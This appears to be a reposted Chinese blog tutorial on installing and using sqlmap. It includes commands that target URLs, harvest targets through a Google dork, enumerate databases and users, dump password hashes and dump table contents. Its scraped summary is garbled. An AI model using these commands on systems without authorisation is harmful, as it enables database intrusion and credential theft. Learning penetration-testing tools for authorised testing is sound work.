sqlmap 安装使用

摘要:
Id=1“”8)从配置文件加载攻击目标,并使用参数“-c”指定配置文件。Sqlmap将解析配置文件并根据配置文件的配置执行操作。sqlmap conf文件的安装目录中有一个名为sqlmap的文件,它是配置文件的模板。Id=1“--当前用户#列出数据库sqlmap.py u的所有用户”http://192.168.12.157:30336/#/login?
官网

http://sqlmap.org/

官方用户手册

ttps://github.com/sqlmapproject/sqlmap/wiki

简介

sqlmap是一个开源渗透测试工具,它可以自动执行检测和利用SQL注入漏洞并接管数据库服务器。它具有强大的检测引擎,拥有针对极限渗透测试的众多细分功能,及数据库指纹识别,从数据库获取数据,访问基础文件系统以及通过外部连接在操作系统上执行命令。

SQL注入类型涵盖:

基于布尔的盲注
基于时间的盲注
基于错误
基于UNION的查询
堆栈查询

安装

方式一:通过kali linux 执行安全测试,SqlMap已安装

方式二:使用windows进行测试,首先安装python,然后通过pip 安装sqlmap

pip install --upgrade sqlmap

方式三:使用其他linux系统,安装Python--->安装sqlmap
使用

1、指定目标自动扫描检测

1) 直连数据库

sqlmap.py -d "mysql://root:root@127.0.0.1:3306/DISSchool"

2) 指定目标URL

sqlmap.py -u http://192.168.56.102:8080/user.php?id=0

URL中必须包含参数

3) 从Burp或WebScarab的代理日志中解析目标

sqlmap.py -l ../proxy.log

使用参数“-l”指定一个BurpSuite或WebScarab的代理日志文件,Sqlmap将从日志文件中解析出可能的攻击目标,并逐个尝试进行注入。该参数后跟一个表示日志文件的路径。推荐使用BurpSuite+SqlMap的方式。

4) 从站点地图文件中解析目标

sqlmap.py -x http://www.6eat.com/sitemap.xml

5)  从文本文件中解析目标

sqlmap.py -m url.txt

可用将多个URL以一行一个的格式保存在文本文件中,然后使用参数“-m”,后跟该文本文件路径,让Sqlmap依次读取文件中的URL作为攻击目标。

6)  从文件载入HTTP请求

sqlmap.py -r get.txt

7)  将Google搜索结果作为攻击目标

sqlmap.py -g "inurl:".php?id=1""

8)   从配置文件中载入攻击目标

使用参数“-c”指定一个配置文件(如:sqlmap.conf),Sqlmap会解析该配置文件,按照该配置文件的配置执行动作。配置文件中可以指定攻击目标,实际上除了攻击目标外,配置文件还可以指定各种参数的值。

Sqlmap的安装目录中有一个名为sqlmap.conf的文件,该文件是配置文件的模板。

2、按照策略人工检测

Get 注入举例:

1、 sqlmap.py -u "XXXURLmusthaveparameter" --batch

--batch,不用每次都提示作选择[Y/N]

2、sqlmap.py -u "http://192.168.12.157:30336/#/login?id=1" –dbms mysql –v 3

#指定数据库类型为mysql,级别为3(v 可以设置6个等级,用来控制显示不同的信息,一般选3就行了,默认使用1级,级别越高,检测越全面)

Post 注入举例:

1)使用抓包工具抓取post 请求包,保存在txt文件中

sqlmap -r “c: ools equest.txt” -p “username” –dbms mysql  

#-r  从一个文件中载入HTTP请求

#-p  指定username参数

暴库

#扫描数据库信息
sqlmap.py -u "http://192.168.12.157:30336/#/login?id=1" --dbs
#当前使用的数据库
sqlmap.py -u "http://192.168.12.157:30336/#/login?id=1" --current-db
#数据库使用账户
sqlmap.py -u "http://192.168.12.157:30336/#/login?id=1" --current-user

#列出数据库所有用户
sqlmap.py -u "http://192.168.12.157:30336/#/login?id=1" --users
#列出数据库中所有账户-对应的密码哈希
sqlmap.py -u "http://192.168.12.157:30336/#/login?id=1" --passwords

#列出数据库中的表 ,D:指定数据库
sqlmap.py -u "http://192.168.12.157:30336/#/login?id=1" -D xx库 –tables
#列出数据库表中的所有字段信息
sqlmap.py -u "http://192.168.12.157:30336/#/login?id=1" -D xx库 -T xx表 --columns
#列出字段内容,--dump  打印
sqlmap.py -u "http://xxxxxx/products.asp?id=56"  -D xx库 -T xx表 -C "字段" –dump


参考:

https://blog.csdn.net/wn314/article/details/78872828

免责声明:文章转载自《sqlmap 安装使用》仅用于学习参考。如对内容有疑问,请及时联系本站处理。

上篇HTML中canvas的大小调整vue的富文本编辑器使用,并且添加显示当前输入字数下篇

宿迁高防,2C2G15M,22元/月;香港BGP,2C5G5M,25元/月 雨云优惠码:MjYwNzM=

相关文章

Oracle11g温习-第一章 2、ORACLE 物理结构

2013年4月27日 星期六 10:26   物理操作系统文件的集合。主要包括:   控制文件(参数文件init$ORACLE_SID.ora记录了控制文件的位置)  二进制文件,控制文件由参数control_files指定,格式如下:control_files=("home/app/.../control01.ctl","home/app/.../con...

macOS下通过docker在局域网成功访问mysql5.6数据库

1.获取mysql镜像 docker pull mysql:5.6 注意:此处之所以获取mysql5.6是因为mysql5.7在centos7中启动可能会报错, 2.查看镜像列表 docker images 3.启动mysql镜像 docker run -itd -P mysql:5.6 bash 其中 docker run是启动容器的命令;i是交互式操...

Oracle数据库的exp、imp用法

oracle 数据库的导入导出imp/exp相当于oracle数据库备份与还原,exp命令可以把数据从远程数据库服务器导出到本地的dmp文件;imp命令用以把dmp文件从本地导入到远程数据库服务器。 例子: exp命令: 1、exp 用户名/密码 dmp文件保存位置;如下面 在dos窗口中输入:sqlplus SIMMSPSTEST/SIMMSPSTEST...

转载:数据库 ' 库名' 已打开,并且一次只能有一个用户访问。 (Microsoft SQL Server,错误: 924)

USE master; GO DECLARE @SQL VARCHAR(MAX); SET @SQL='' SELECT @SQL=@SQL+'; KILL '+RTRIM(SPID) FROM master..sysprocesses WHERE dbid=DB_ID('库名'); EXEC(@SQL); GO ALTER DATABASE 库名 SET...

Win7/8下Oracle的安装

在64位的Win7、Win8下安装Oracle会遇到一些麻烦,需要下载合适的安装文件和环境的配置才能顺利的完成。 以下是笔者安装的过程:   步骤1:下载需要安装的文件            A. 下载64位的 Oracle 11g 数据库文件(约2.1G),请点击超链接下载win64_11gR2_Oracle.zip。            B. 下载3...

redis-删除所有key

删除所有Key,可以使用Redis的flushdb和flushall命令 //删除当前数据库中的所有Key flushdb //删除所有数据库中的key flushall 如果要访问 Redis 中特定的数据库,使用下面的命令 //下面的命令指定数据序号为0,即默认数据库 redis-cli -n 0 keys "*" | xargs redis-cli...